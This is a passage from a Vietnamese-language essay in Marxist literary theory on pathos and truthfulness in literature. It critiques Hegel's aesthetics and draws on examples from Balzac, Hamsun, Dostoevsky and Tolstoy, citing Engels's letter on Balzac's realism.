Trong đời sống các dân tộc khác nhau những thời kỳ nổi bật có ý nghĩa của các khuynh hướng tiến bộ toàn dân của sự phát triển xã hội và từ đó sản sinh cao trào đạo đức trong các tầng lớp xã hội rộng lớn thường được thay thế bằng các giai đoạn tăng cường những khuynh hướng thoái hóa, phản động và sự trì trệ đạo đức cùng tính ỳ của xã hội. Những thời kỳ cuối cùng này có thể rất dài.
Trong đời sống đã và đang như thế. Và tất cả điều đó đã và đang có thể thành đối tượng miêu tả trong nghệ thuật, đặc biệt là trong văn học nghệ thuật. Các nhà văn thường miêu tả những tính cách lịch sử xã hội của những người mà sự hoạt động và xúc cảm của họ bị hưng phấn bởi những nguyên tắc đạo đức “siêu cá thể” tích cực hay tiêu cực, cao thượng hay thấp hèn này nọ mà chúng thể hiện cách này hay cách khác ở trong mình “sự thật” hoặc “sự dối trá” của đời sống xã hội thời đại mình hay cả sự thống nhất mâu thuẫn và sự ưu trội của cái này hay các khác.
Nhưng nội dung các tác phẩm văn học như mọi người đều biết không phải là sự sao chép đời sống mà là sự nhận thức sáng tạo của nhà văn. Và cảm hứng của hành động, thái độ, cảm xúc của các nhà văn tác phẩm tất nhiên còn chưa phải là cảm hứng của chính các tác phẩm. Ở đây một lần nữa chúng ta phải hướng vào “Mỹ học” của Hêghen.
3
Quan niệm nghệ thuật của Hêghen chứa đựng trong mình một khiếm khuyết cơ bản khác – sự nhận thức khách quan nội dung tác phẩm. Nội dung nghệ thuật, theo Hêghen, đó là một phương diện nào đó trong sự tự ý thức của “tinh thần thế giới” tự phát triển. Tuỳ theo quan hệ với lực lượng khách quan đó mà bản thân nó tạo nên nội dung tiến bộ của đời sống, từ đó tiềm tại các tác phẩm nghệ thuật, ý thức của người nghệ sĩ chỉ là “chiếc đại phong cầm” mang tính chủ quan của nó. Nhờ vào “tưởng tượng sáng tạo”, khả năng “chiếm lĩnh hiện thực” và “trí nhớ rất bền” của nghệ sĩ mà nội dung tiến bộ của đời sống chuyển thành các sáng tác nghệ thuật. Nhưng thực ra nó không phụ thuộc vào nghệ sĩ, không phải do anh ta sáng tạo nên.
Trong cách hiểu thực chất của sáng tạo ấy, Hêghen về cơ bản loại trừ khỏi nội dung các tác phẩm nghệ thuật chiều hướng tư tưởng – cảm xúc (dụng ý) là cái sức mạnh của tình cảm, tư tưởng xã hội riêng của nghệ sĩ được bắt nguồn từ sự khao khát lý tưởng của anh ta. Theo Hêghen, cảm hứng của tác phẩm chỉ là cảm hứng hoạt động và xúc cảm của các nhà văn tác phẩm, là “những sức mạnh chung của hành động” thúc đẩy tâm hồn các nhân vật được miêu tả trong tác phẩm. Còn về cảm hứng mà nó thúc đẩy tư tưởng sáng tạo của nghệ sĩ và bắt nó sáng tạo thì Hêghen không nói đến. Không phải ngẫu nhiên ông xây dựng lý luận cảm hứng của mình trên những ví dụ về cơ bản rút ra từ cốt truyện các bi kịch và sử thi anh hùng thường được xây dựng bằng những nghệ thuật miêu tả cái ảo giác khách quan của mình và hầu như không đụng chạm gì đến các tác phẩm trữ tình mà ở đó tiếng nói của tác giả vang lên rõ hơn.
Thực ra tính tích cực tư tưởng – cảm xúc của tư duy sáng tạo của nhà văn được thể hiện trong sáng tác của cả ba phương diện nội dung tác phẩm. Nó được hiện ra trong sáng tác vừa bằng con đường tưởng tượng của những cá thể người mà trong đó bộc lộ một cách có ý nghĩa và đặc biệt rõ ràng những đặc điểm cơ bản nhất định của đời sống lịch sử dân tộc, khêu gợi hứng thú tư tưởng nhà văn, vừa trong điển hình hóa các tính cách của chúng, trong quá trình điển hình hóa ấy nhà văn phát triển, làm tăng thêm những gì quan trọng nhất theo quan điểm tư tưởng của anh ta, những mặt, những quan hệ, những khuynh hướng phát triển của chúng và cuối cùng là ở chỗ bằng con đường lựa chọn và kết hợp tất cả các chi tiết và phương pháp tái hiện độ tư tưởng – cảm xúc của mình đối với nó hoặc theo cách nói của Sécnưsepxki là “tuyên đọc bản án của mình”. Trong tất cả điều đó, đặc biệt là trong biểu hiện sự đánh giá tư tưởng – cảm xúc cuộc sống được miêu tả, tư tưởng sáng tạo của nhà văn có thể nổi lên thành cảm hứng, đôi khi rất sâu sắc và đầy ý nghĩa.
Cảm hứng luôn bắt nguồn từ chiều sâu và tính khách quan của nhận thức nghệ thuật cuộc sống trong những đặc tính tiêu biểu này hay khác của nó. Trong điều này thì Hêghen đã đúng. Nhưng ông đã không chú ý rằng chiều sâu nhận thức nghệ thuật không tự nó xuất hiện mà luôn luôn nảy sinh bởi tính tích cực của ý thức tìm hiểu của nhà văn. Tính tích cực ấy còn được tạo ra bởi thực tại và tầm quan trọng của các lý tưởng và các lợi ích xã hội của nó.
Trong quan hệ với tất cả điều đó cần đặt ra hai câu hỏi cơ bản. Phải chăng tính hoạt động và xúc cảm của các nhân vật của tác phẩm luôn có cảm hứng riêng? Và phải chăng chính nhà văn trong tư duy và đánh giá các tính cách nhà văn của mình luôn được nâng lên thành cảm hứng? Rõ ràng là cần phải trả lời phủ định hai câu hỏi ấy rằng: không, luôn luôn không.
Tất nhiên các nhà văn thường chọn trong đời sống các dân tộc khác nhau và những thời đại khác nhau của sự phát triển lịch sử của chúng những tính cách xã hội có được cảm hứng tích cực, cao cả của hoạt động dân sự của mình và biểu lộ được những thái độ, xúc động cá nhân riêng biệt của nó rồi tạo chúng thành những hình dáng trung tâm những tác phẩm của mình. Những nhân vật chính của các bi kịch dân sự, anh hùng ca, truyện chính trị và tiểu thuyết thường là loại này. Ví dụ chẳng hạn như hiệp sĩ Rôlăng trong “Bài ca về Rôlăng”, Piốt đệ nhất trong “Pôntava” của Puskin hoặc Tsapaep trong truyện vừa của Phuốcmanốp. Một khả năng có tính chất nghiên cứu của văn học là như vậy.
Nhưng ở các nhà văn còn có một khả năng khác. Họ có thể đặt vào trung tâm tác phẩm của mình những tính cách mà chúng phơi bày cảm hứng tiêu cực, thấp hèn của sự hoạt động dân sự của mình và bộc lộ những quan hệ cá nhân của nó hay thậm chí hoàn toàn dành tác phẩm của mình cho việc miêu tả chúng. Người nghệ sĩ nắm bắt những tính cách ấy từ đời sống thực tế của các dân tộc và các thời đại lịch sử khác nhau. Chúng sẽ là “sự lừa dối” của đời sống lịch sử – dân tộc mình, là “sự lừa dối” được quy định bởi toàn bộ nề nếp, toàn bộ đặc điểm của cuộc sống ấy. Vì vậy chúng tạo ra nơi người đọc, người xem ấn tượng toàn vẹn và tin tưởng. Và chúng không “dành cho người đọc, người xem sự hoàn toàn trống rỗng”, không “lôi kéo” chúng khỏi mình như Hêghen đã cảm thấy. Ngược lại, những tính cách tiêu cực lịch sử trong sự tái hiện nghệ thuật của mình biểu lộ sự quan tâm của tác giả về những mặt đời sống thích hợp của chúng và sự đánh giá cảm xúc bắt nguồn từ chúng, đồng thời gợi lên sự chú ý sâu xa và to lớn nơi độc giả. Thường xảy ra như thế trong bi kịch và trường ca, trong truyện vừa và tiểu thuyết cũng như trong trào phúng và hài kịch. Chẳng hạn như Mácbét ở Sếchxpia, Mêphixtôphen ở Gớt, Gốpxếch ở Bandắc, Ugrum – Buatrêep ở Sêđrin. Đó là khả năng có tính chất đề tài nghiên cứu khác của văn học nghệ thuật.
Nhưng vẫn còn một khả năng nữa không kém quan trọng và thường gặp. Nghệ sĩ có thể miêu tả trong các tác phẩm của mình những tính cách thể hiện trong mình cuộc sống của giới xã hội này hay khác, không tham gia tích cực vào hoạt động dân sự của đất nước, thời đại mình, không đụng chạm đến quyền lợi của nó và hoàn toàn xa lánh quan hệ đời sống gia đình riêng tư. Vì vậy những tính cách đó không biểu hiện một cảm hứng chủ quan nhất định nào đó trong các hành động, thái độ, xúc cảm của mình. Nhưng những thái độ và xúc cảm của chúng luôn luôn có liên hệ cách này hay cách khác với những khuynh hướng khác nhau của đời sống xã hội và khách quan có thể trở thành biểu hiện “sự thật” và “sự lừa dối” đời sống của nó. Điều đó có thể được nhà văn nhận thức một cách sâu sắc và có thể gợi ra ở anh ta một thái độ nồng nhiệt phù hợp với các tính cách đó. Cái khả năng có tính chất đề tài nghiên cứu thứ ba của văn học và nghệ thuật nói chung là như vậy. Nó đặc biệt thường gặp trong các tác phẩm những loại thể khác nhau miêu tả cuộc sống sinh hoạt thường nhật riêng tư của các tầng lớp xã hội khác nhau. Chẳng hạn như Ôblômốp ở Gôntrarốp, những người Artamônốp ở Gorki, bà mẹ Kurăc ở Brếch.
Trong các loại nghệ thuật khác nhau tất cả các khả năng có tính chất đề tài nghiên cứu ấy được thực hiện một cách rõ ràng trong mối tương quan khác nhau. Trong hội họa, điêu khắc, khí nhạc “thuần tuý” thì loại thứ nhất và loại thứ ba trong những khả năng ấy được bộc lộ một cách tích cực và thường xuyên còn loại thứ hai thì ít hơn. Nhưng văn học nghệ thuật có một phạm vi nhận thức rộng lớn hơn nhiều, có khả năng phản ánh cuộc sống xã hội dân tộc khác nhau trong tất cả các biểu hiện đa dạng cả bản chất tích cực và tiêu cực của nó trong những sự tổng hợp bên ngoài và những sự đan bện bên trong khác nhau.
Trong những giai đoạn thống trị của các khuynh hướng phản động và thoái hóa, cuộc sống ngưng đọng và tính ỳ của quần chúng nhân dân, sự yếu kém của những vận động tiến bộ đã và đang xuất hiện ngay cả trong đời sống của các dân tộc lớn nhất và văn minh và thường là kéo dài, thì văn học nghệ thuật tất nhiên về cơ bản hiến mình cho sự khám phá của cảm hứng phủ định đời sống. Thêm vào đó ách kiểm duyệt từ phía các tầng lớp phản động cầm quyền tạo ra trong hoàn cảnh ấy những cản trở to lớn đối với việc biểu hiện “các hành động chung” và những cảm xúc tích cực.
Trong văn học Nga thế kỷ XIX ở một mức độ lớn đã là như thế. Những hành động và thái độ tiến bộ toàn dân gắn với các tổ chức khởi nghĩa của những nhà tháng Chạp, với các cuộc đấu tranh của những nhóm cách mạng những năm 1860, với những cuộc “đi vào nhân dân”, với sự hoạt động của những người thuộc tổ chức ý chí nhân dân đã tìm thấy sự phản ánh yếu ớt trong văn học nghệ thuật. Những cảm xúc lãng mạn – anh hùng của những người cách mạng Nga thời kỳ này đã có được phần nào sự phản ánh của mình trong trữ tình mà hình thức chủ yếu là bất hợp pháp. Chính các sự kiện cách mạng và sự chuẩn bị của chúng hầu như không được phản ánh. Tuy nhiên văn học cổ điển Nga lại rất phong phú bởi sự mô tả cuộc sống hàng ngày của các tầng lớp xã hội khác nhau và đồng thời bằng sự tố cáo châm biếm chính quyền phản động của các tầng lớp mà nó dựa vào.
Vì vậy tính nồng nhiệt của các tác phẩm văn học phụ thuộc vào mức độ tư duy sâu sắc của nhà văn, đặc biệt là việc mô tả những tính cách xã hội lịch sử trong chừng mực làm sáng tỏ những mối liên hệ bên trong của các tính cách ấy và các đặc điểm của chúng với những khuynh hướng chung của phát triển dân tộc và vào mức độ khám phá sâu sắc viễn cảnh của chính sự phát triển đó.
Nếu nhà văn có được sự sâu sắc và ý nghĩa lớn của thế giới quan và sự cao cả của các lý tưởng xã hội mở ra những tương lai tươi sáng này khác của sự phát triển đời sống dân tộc, thì khi đó sự hiểu biết tư tưởng – cảm xúc và sự đánh giá những tính cách được miêu tả nhận được ý nghĩa cao quý “siêu cá thể”, trở thành “sức mạnh chung” của ý thức xã hội của anh ta. Nếu vận dụng cách nói của Hêghen thì chúng “sống trong lồng ngực của nó” và thúc đẩy tâm hồn nhà văn vào “chiều sâu thẳm nhất của nó”. Chúng trở thành cảm hứng của tư duy sáng tạo của anh ta.
Nhưng điều đó không thường như vậy. Nhà văn khi chưa có được ý nghĩa quan trọng của sự nhận thức cuộc sống mang tính tư tưởng của mình và tầm cao của sự hiểu biết lý luận đời sống và các lý tưởng của mình thì có thể trong quá trình khái quát sáng tạo đời sống biểu lộ trình độ kinh nghiệm hạn chế. Nó có thể vấp phải việc không có khả năng xâm nhập sâu nhiều hay ít thông qua cái riêng, cái cá thể đến cái chung, cái cơ bản. Nó sẽ tập trung vào những ngẫu nhiên không cần thiết và không xác đáng của đời sống được miêu tả, khám phá hời hợt các đặc điểm cơ bản của nó hoặc những điều lạc hướng với nó. Nói cách khác nó có thể xuất hiện trong những tác phẩm của mình ở trình độ này hay trình độ khác của chủ nghĩa tự nhiên. Dĩ nhiên, chính thái độ tư tưởng – cảm xúc đối với cuộc sống có ở nhà văn nào đó không đủ tích cực và biểu hiện rõ ràng hoặc thậm chí thiếu tin tưởng, lộn xộn, mâu thuẫn(1).
Ví dụ tốt cho loại này có thể là sự so sánh các tác phẩm của các nhà nhà văn dân chủ Nga những năm 1860 như Nhêcraxốp và N.Upenxki, những người đã dành sức miêu tả cuộc sống nông dân và dân nghèo thành thị. Nhêcraxốp đã thể hiện trong các trường ca của mình cảm hứng châm biếm hoặc giàu cảm xúc to lớn và đôi khi có tính bi kịch bắt nguồn từ sự hiểu biết sâu sắc của ông về những mâu thuẫn xã hội cơ bản của hiện thực đời sống Nga trong ánh sáng những lý tưởng dân chủ khai sáng cao cả của ông. Còn Upenxki trong các ký sự văn xuôi của mình đã mô tả phần lớn những câu chuyện sinh hoạt từ đời sống các nhân vật của mình và miêu tả chúng với mức độ lớn của chủ nghĩa tự nhiên trong khi không phát hiện ra sự sáng rõ trong thái độ cảm xúc của mình đối với các tính cách những nhân vật của mình và không đẩy lên cao thành cảm hứng.
Như vậy cảm hứng của tác phẩm luôn nảy sinh trực tiếp bởi các đặc điểm của chính hiện thực được miêu tả, bởi những đặc điểm và mâu thuẫn của các tính cách xã hội – lịch sử được nhà văn nhận thức trong các tác phẩm của mình. Nhưng đồng thời nó luôn bắt nguồn từ những đặc điểm của thế giới quan tư tưởng nhà văn nhiều hoặc ít rõ ràng và sâu sắc trong nội dung của mình, từ những đặc điểm nhiều hoặc ít ý nghĩa quan trọng của các lý tưởng xã hội của anh ta.
4
Sự đánh giá tư tưởng – cảm xúc bởi nhà văn các tính cách do nó mô tả khi được nâng lên mạnh mẽ đến cảm hứng luôn tiềm ẩn trong mình hai khuynh hướng. Diễn đạt một cách trừu tượng có thể nói rằng hoặc là sự khẳng định tư tưởng – cảm xúc những tính cách được miêu tả hoặc sự phủ định tư tưởng – cảm xúc của chúng.
Khuynh hướng này và khuynh hướng kia, cách hay hay cách khác đều bắt nguồn từ quan niệm tư tưởng của nhà văn, từ những lý tưởng của nó. Nhưng cả cái này và cái kia được sinh ra bởi những đặc điểm khách quan của những tính cách được nhà văn hiểu biết, bởi những tính chất của hiện thực tồn tại độc lập với điều mà nhà văn suy nghĩ về nó và quan hệ với nó ra sao. Và vì vậy sự đánh giá tư tưởng – cảm xúc các tính cách biểu hiện trong tác phẩm khẳng định hay phủ định chúng chỉ khi nào có độ chân thực lịch sử được xác thực từ bên trong theo nội dung của mình, khi có sự đánh giá phù hợp với những đặc điểm của các tính cách ấy được bắt nguồn từ vị trí và ý nghĩa khách quan của chúng trong đời sống lịch sử – dân tộc thời đại của chúng.
Chỉ có thể khẳng định tư tưởng cái điều mà trong chính hiện thực xứng đáng khẳng định rằng nó đích đáng theo những đặc tính khách quan của mình. Đó là tất cả cái điều mà trong quan hệ này hay quan hệ khác đều hàm chứa “sự thật” lịch sử – dân tộc của cuộc sống. Và chỉ có thể phủ định những tính cách, hành động, xúc cảm mà theo những đặc điểm riêng của mình đáng phải phủ định. Đó là những tính cách và xúc cảm trong những quan hệ này hay khác chứa đựng trong mình “sự dối trá” của đời sống lịch sử – dân tộc. Cả trong cái này và cái kia đều có tính chân thực của khuynh hướng tư tưởng – cảm xúc của chính tác phẩm nghệ thuật.
Nhưng như đã nói những biểu hiện của các khuynh hướng tiến bộ của đời sống dân tộc và những biểu hiện của các khuynh hướng phản động và thoái hóa của nó trong hoạt động và những xúc cảm của con người những tầng lớp xã hội khác nhau không tách biệt lẫn nhau. Trong mỗi một tính cách xã hội nhà văn có thể nhận thức những phương diện của nó mà chúng trong ý nghĩa xã hội khách quan của mình xứng đáng được khẳng định tư tưởng – cảm xúc và trong những mối liên hệ chặt chẽ nhất với chúng – những phương diện khác lại cũng đáng phủ định tư tưởng – cảm xúc. Những tác phẩm phản ánh những tính cách ấy sẽ là chân thực lịch sử nếu như chúng phản ánh các tính cách trong sự thống nhất khẳng định và phủ định tư tưởng cùng với sự trội hơn của cái này hay cái kia mà chúng đều bắt nguồn từ bản chất khách quan của những tính cách ấy.
Có rất nhiều ví dụ như thế trong văn học thế giới. Chẳng hạn như các hình tượng Igor và Vxevôlôd trong “Bài ca về binh đoàn Igor”, Gamêlen trong tiểu thuyết “Các chúa trời khao khát” của Phrăngx, Luyxiêng Xôren trong “Đỏ và đen” của Xtăngđan, Badarốp trong “Cha va con” của Tuốcghênhep, Branta của Ipxen, Giana Krixtôpha của Rôlăng v.v…
Nhưng nếu nhà văn khẳng định tư tưởng những tính cách có trong mình cách này hay cách khác “sự lừa dối” cuộc sống có tính lịch sử – dân tộc và phủ định về tư tưởng những tính cách thể hiện trong bản thân “sự thật” của hiện thực lịch sử – dân tộc thì khi đó những tác phẩm của anh ta mang khuynh hướng dối trá tư tưởng cảm xúc và ý niệm dối trá.
Về tính dối trá tư tưởng của tác phẩm văn học G.Plêkhanốp đã viết một cách xác đáng về cơ bản, khi phân tích vở kịch của K. Gamxun “Gần cửa chính thánh tượng bình” trong bài báo “Người con trai bác sĩ Xtôknam”, mặc dù một số mặt khác của nội dung tác phẩm này cũng như cốt truyện của nó hình như ông giải thích không trúng.
Thông qua nhân vật chính vở kịch của mình – ký giả Ivara Kareno, Gamxun đã tái hiện một tính cách xã hội mới không chỉ đối với Nauy mà đối với tất cả toàn bộ hiện thực xã hội Tây Âu. Đó là tính cách người tri thức gắn bó chặt chẽ về tư tưởng với xã hội tư sản của đất nước mình nhưng đã có tinh thần thù ghét trong quan hệ đối với khuynh hướng thống trị của chủ nghĩa tự do chính trị trong giới của nó, cái khuynh hướng tuyên bố những lý tưởng bình đẳng chung trước pháp luật cao cả nhưng giả dối và sự tham gia của các tầng lớp dân chủ trong lựa chọn sự điều hành Nhà nước. Kareno kịch liệt chống lại sự ve vãn dễ dãi với công nhân, căm ghét công nhân, bày tỏ những tư tưởng điên rồ tiêu diệt họ. Hắn thấy lý tưởng của mình trong sự xuất hiện của “người chỉ huy” “không được lựa chọn mà tự trở thành lãnh tụ” trong sự trở về “của kẻ khủng bố vĩ đại nhất, chất tinh tuý bậc nhất của con người, Xêdar…”.
Tuy nhiên, Gamxun đã tiên đoán trong nhân vật đó của mình có sự phát triển của khuynh hướng đời sống xã hội tư bản, cái khuynh hướng mà khi được đẩy mạnh về sau để tiếp nhận hình thức của phong trào tư tưởng – chính trị phát xít, trong sự biểu hiện kiểu Đức gay gắt nhất của mình làm cho cả châu Âu phải chịu những thử thách chiến tranh khủng khiếp và những tổn thất lớn lao.
Nhưng toàn bộ vấn đề là ở chỗ chính Gamxun hiểu biết và đánh giá tư tưởng lập trường chính trị của Kareno như thế nào. Anh ta miêu tả Kareno như một con người với “những suy nghĩ tự do giống như chim”. Hắn hiện lên rõ ràng, với những suy nghĩ “không thương xót chủ nghĩa tự do” và “căm thù công nhân”. Nói gọn là hắn biểu lộ sự khẳng định tư tưởng cảm xúc những khuynh hướng phản động trong đời sống xã hội Nauy, bảo vệ “sự giả dối” về đời sống của nó. Tính giả dối tư tưởng của vở kịch là ở đó.
5
Vậy là tính chân thật của khuynh hướng tư tưởng – cảm xúc các tác phẩm không nên đồng nhất với “sự thật đời sống” được tái hiện trong nó mặc dù điều thứ nhất được đưa ra từ cái thứ hai. Không khó chỉ ra rằng tính chân thực của bản thân các tác phẩm và “sự thật” cuộc sống được phản ánh trong chúng còn xa nhau, không phải là một, rằng thậm chí cả cái từ “sự thật” trong trường hợp này hay trường hợp khác có ý nghĩa hoàn toàn khác nhau. Trong trường hợp thứ nhất từ này liên quan đến chính tác phẩm giống hư đối với bất kỳ một ý kiến, thông báo nào nói chung và xác định giá trị nhận thức, lý luận hiểu biết của nó. Là chân thực khi nói, thông báo sự thật, nghĩa là không nói sai, lừa dối không xuyên tạc cái đều được nói tới, được thông báo. Tính chân thực của điều thông báo, trình bày là ở chỗ nội dung của nó phù hợp với bất kể cái hiện thực khách quan nào được tìm thấy ở ngoài nó và là đối tượng của nó. Tính chân thực của thông báo đối lập với tính sai lầm của nó, không phù hợp với đối tượng của nó.
“Chân lý” bản thân đời sống không phụ thuộc vào cái điều người nào đó nói về nó ra sao, đó là một cái gì đấy hoàn toàn khác. Điều đó không phải là giá trị nhận thức của thông báo này hay thông báo khác, điều đó là giá trị đạo lý của những quan hệ con người và phẩm hạnh con người khách quan này hay khác mà ai đó có thể thông báo về chúng chân thực hay xuyên tạc.
Tất nhiên thật phi lý khi cho rằng chỉ chân thật loại văn học phản ánh “sự thật đời sống” lịch sử – dân tộc. Thực sự vẫn thường có loại văn học với sức mạnh không nhỏ phản ánh “điều sai sự thật đời sống” lịch sử – dân tộc và phản ánh nó một cách chân thực.
Văn học nghệ thuật không phải là sự sao chép sự kiện. Nó nhận thức không phải cái riêng lẻ của đời sống mà là cái chung, cái cơ bản được biểu hiện một cách rõ ràng và tích cực trong cái riêng lẻ, nói cách khác là nhận thức cái đặc tính xã hội của cuộc sống người. Ở trong đó là cái cơ sở của ý nghĩa nhận thức của nó. Nhưng nó tái hiện những tính cách xã hội không phải để với tính công bằng có thể làm sáng tỏ những đặc điểm khách quan của nó mà là để biểu hiện trong đó sự đánh giá và hiểu biết có tính tư tưởng của chúng. Và văn học có được ý nghĩa nhận thức xã hội và giá trị trong trường hợp nếu nó chân thực trong phương diện tích cực ấy của nội dung của mình.
Tính chân thực của khuynh hướng tư tưởng – cảm xúc của các tác phẩm văn học cũng không nên trộn lẫn với sự giống thực bề ngoài của việc miêu tả đời sống, với sự tuân thủ trong nó những mối quan hệ và tỷ lệ của đối tượng và hiện tượng mà chúng tồn tại trong hiện thực. Sự vi phạm những tỷ lệ và mối quan hệ thực tế ấy hoặc nói cách khác là tính chất phóng đại mạnh mẽ và sự hoang đường miêu tả như đã biết là nét đặc thù của sáng tác dân gian thời nguyên thủy – của thần thoại, truyện cổ tích, các bài hát lễ nghi v.v… ở đó tính hoang đường của miêu tả đời sống bắt nguồn từ tính hoang đường của chính sự biểu biết thế giới và thế giới quan của xã hội nguyên thủy đã trở thành thuộc tính nội dung của các tác phẩm. Trong văn học tính hình tượng hoang đường dần dần chỉ trở thành đối tượng của tính biểu cảm chuyển tải những đặc điểm và những sắc thái này khác của nội dung tư tưởng mà chính nó tước bỏ đi tính hoang tưởng vì sự phát triển lịch sử xã hội. Nó đã biến từ “chất đất” thành “kho” ngôn từ nghệ thuật để làm thành bản chất riêng của hình thức nghệ thuật. Và khuynh hướng tư tưởng – cảm xúc chân thực của các tác phẩm văn học có thể biểu hiện hoàn toàn xác thực và hợp lý với sự giúp đỡ của các thủ pháp miêu tả đời sống vi phạm các tỷ lệ và quan hệ bên ngoài của các hiện tượng của nó nhờ sự giúp đỡ của hình tượng hoang đường. Một số bi kịch của Sếchxpia, một số chuyện kỳ ảo của Hốpman hoặc “Lịch sử một thành phố” của Sêđrin có thể làm ví dụ đặc biệt sáng tỏ cho điều ấy.
Chỉ có tính chân thực trong khuynh hướng tư tưởng của mình theo cảm hứng của mình, văn học mới có ý nghĩa tích cực đối với đời sống lịch sử xã hội, đối với sự phát triển và phồn thịnh ý thức giác ngộ dân tộc và của văn hóa tinh thần của nó, đối với sự phát triển tiến bộ toàn dân tộc của nó. Chỉ có loại văn học như vậy mới có thể bảo tồn ý nghĩa của mình trong dòng chảy lâu dài của thời gian, mới có thể sống trong ý thức xã hội vượt qua thời đại sinh ra nó, trong khi hiểu tất cả lại theo cách mới.
Sự phù hợp hiểu biết và đánh giá tư tưởng những tính cách xã hội được miêu tả có ý nghĩa khách quan của chúng trong đời sống dân tộc của các thời đại lịch sử khác nhau làm cho chính sự hiểu biết ấy và chính bản án đời sống được miêu tả theo tính khách quan lịch sử của mình. Và chính tính khách quan đó của bản án, tính chân thật lịch sử đó của cảm hứng tác phẩm được kích thích bởi chính hiện thực mới là điều quan trọng nhất đối với công chúng thời đại ấy và các thời đại sau chứ không phải là cái cảm hứng bắt nguồn ừ những lý tưởng xã hội nào đó. Vì vậy mà xã hội luôn đánh giá cao tính chân thực của suy nghĩ tư tưởng cảm xúc của các tính cách xã hội được biểu hiện trong chúng ở các tác phẩm của nhà văn thậm chí nếu như nó được kích thích bởi các lý tưởng hoài cổ và phản động.
Chẳng hạn như Đôxtôiepxki trong cốt truyện cuốn tiểu thuyết cuối cùng và sâu sắc nhất của mình về độ rộng lớn các khái quát nghệ thuật đã trình bày toàn bộ “sức mạnh của sự đê tiện” và “sự được phép tất cả” kiểu “Karamadốp” của nước Nga tiểu tư sản, quý tộc sau cải cách trong ánh sáng của các lý tưởng “điền thổ” hoài cổ, dân chủ – yêu nước của mình mà thực chất lúc đó mang ý nghĩa phản động. Và trong tính chân thực khách quan ấy của việc vạch trần “sự sai sự thật” vĩ đại nhất của đời sống dân tộc Nga khi đó hàm chứa sức mạnh nhận thức và giáo dục đạo đức to lớn của tiểu thuyết của ông, đã trang bị tư tưởng và đến nay vẫn đang trang bị cho các phong trào xã hội tiến bộ.
Nhưng cần phân biệt tính chân thực khách quan của các tác phẩm văn học với tính chân thực chủ quan của chúng hoặc nói cách khác là sự chân thành của nhà văn. Nhà văn có thể biểu hiện trong tác phẩm của mình tư tưởng sai lầm khách quan và thực hiện điều đó một cách chân thành hoàn toàn với sự khẳng định sâu sắc trong sự vô tội của mình trong khi không một chút xu thời, không vờ vĩnh trước bản thân.
Điều đó thường xảy ra khi khuynh hướng tư tưởng sai lầm bắt nguồn từ những lý tưởng xã hội của nhà văn được xác định một cách có quy luật bởi những đặc điểm đời sống xã hội của thời đại và đất nước anh ta và chúng đồng thời chứa đựng trong mình sự suy nghĩ chủ quan, ảo tưởng và sự đánh giá viễn cảnh phát triển dân tộc. Những điều như vậy đã từng có như những quan niệm đạo đức của L. Tônxtôi về chủ nghĩa yêu nước, nhẫn nhịn đạo đức và không chống lại điều ác như là con đường chủ yếu nhằm khắc phục “các điều sai trái” của đời sống xã hội Nga thời đại của ông. Từ đó đã khơi nguồn cho lý tưởng hóa nghệ thuật “sự mất trí” và “người thộn” trong các tính cách nông dân mà nó đã từng xuất hiện trong một số tác phẩm của Tônxtôi và đã là “ý tưởng sai lạc” hết sức chân thành của chúng.
Để nhà văn có thể khắc phục những khuynh hướng sai trái các ý đồ của mình được bắt nguồn từ các phương diện phù hợp với lý tưởng của nó thì anh ta cần có năng lực nhận thức to lớn của tư duy sáng tạo, năng lực quan sát các tính cách được miêu tả, hiểu thấu hoặc đoán định được ý nghĩa hiện thực trong viễn cảnh phát triển đời sống dân tộc. Sự hiểu biết và đoán định như thế dễ dàng xuất hiện hơn khi mà nhà văn mong muốn vạch trần “sự dối trá” của đời sống xã hội thời đại mình, miêu tả những tính cách đáng phải có thái độ phê phán với chúng.
Ngay cả loại văn học mà nhà văn lựa chọn cũng có ý nghĩa lớn trong vấn đề này. Trong những tác phẩm sử thi và kịch lớn nhà văn có khả năng thử nghiệm với các tính cách nhân vật của mình trong những quan hệ và xung đột cốt truyện của chúng. Điều đó lại có thể dẫn nhà văn trong chính quá trình sáng tác đến sự hiểu thấu ý nghĩa thực sự của những tính cách được miêu tả trong những quan hệ xã hội của thời đại, đến việc khắc phục sai lầm những quan điểm sáng tác ban đầu.
Trong thư của F. Ăngghen gửi M. Hácơnexơ có những lời bàn thú vị về đề tài này liên quan đến tác phẩm của Bandắc. Ăngghen chỉ ra rằng Bandắc đã đem lại trong các tiểu thuyết của mình, bộ “Tấn trò đời”, việc miêu tả lối sống xã hội quý tộc lớp trên của Pháp thời kỳ từ năm 1816 đến 1848, rằng ông đã miêu tả “sự xuất hiện ngày thêm mạnh của giai cấp tư sản đang lên” trong những tầng lớp cao của quý tộc Pháp và chỉ rõ với quan điểm chính trị chủ nghĩa chính thống của mình “như những tàn dư cuối cùng của kiểu mẫu ấy, đối với ông, xã hội hoặc là dần dần nhượng bộ sức ép của những tên trọc phú hoặc là trở nên sa đoạ bởi chúng…”. “Tác phẩm vĩ đại” của Bandắc – Ăngghen viết tiếp, – “là khúc bi ca không dứt về sự tan rã không phương cứu chữa của xã hội quý tộc, tất cả tình cảm của ông là về phía giai cấp phải chịu sự chết dần chết mòn”. Nhưng cùng với tất cả điều đó sự châm biếm của ông chưa bao giờ kém sắc nhọn hơn, sự mỉa mai kém cay đắng hơn so với khi ông buộc phải đụng chạm chính những người đàn ông và đàn bà – những người quý tộc mà ông có cảm tình nhiều hơn cả. Và những người duy nhất mà ông luôn nói về họ với sự cảm phục không che đậy, đó là những người đối lập chính trị, những chiến sĩ cộng hòa mạnh mẽ nhất của nó – những anh hùng tu viện Xanhmêri, những người mà trong thời kỳ đó (1830 – 1836) là những đại biểu thực sự của quần chúng nhân dân”. Về Bandắc, Ăngghen kết luận, “buộc phải đi đến chống lại những cảm tình giai cấp và những thành kiến chính trị riêng của mình…”, “ông đã thấy tính tất yếu sụp đổ của những nhà quý tộc yêu quý nhất của mình và đã miêu tả họ như những người không đáng có số phận tốt hơn…”(1). Tất nhiên điều đó được Ăngghen xem là “một trong những thắng lợi vĩ đại nhất của chủ nghĩa hiện thực” của Bandắc.
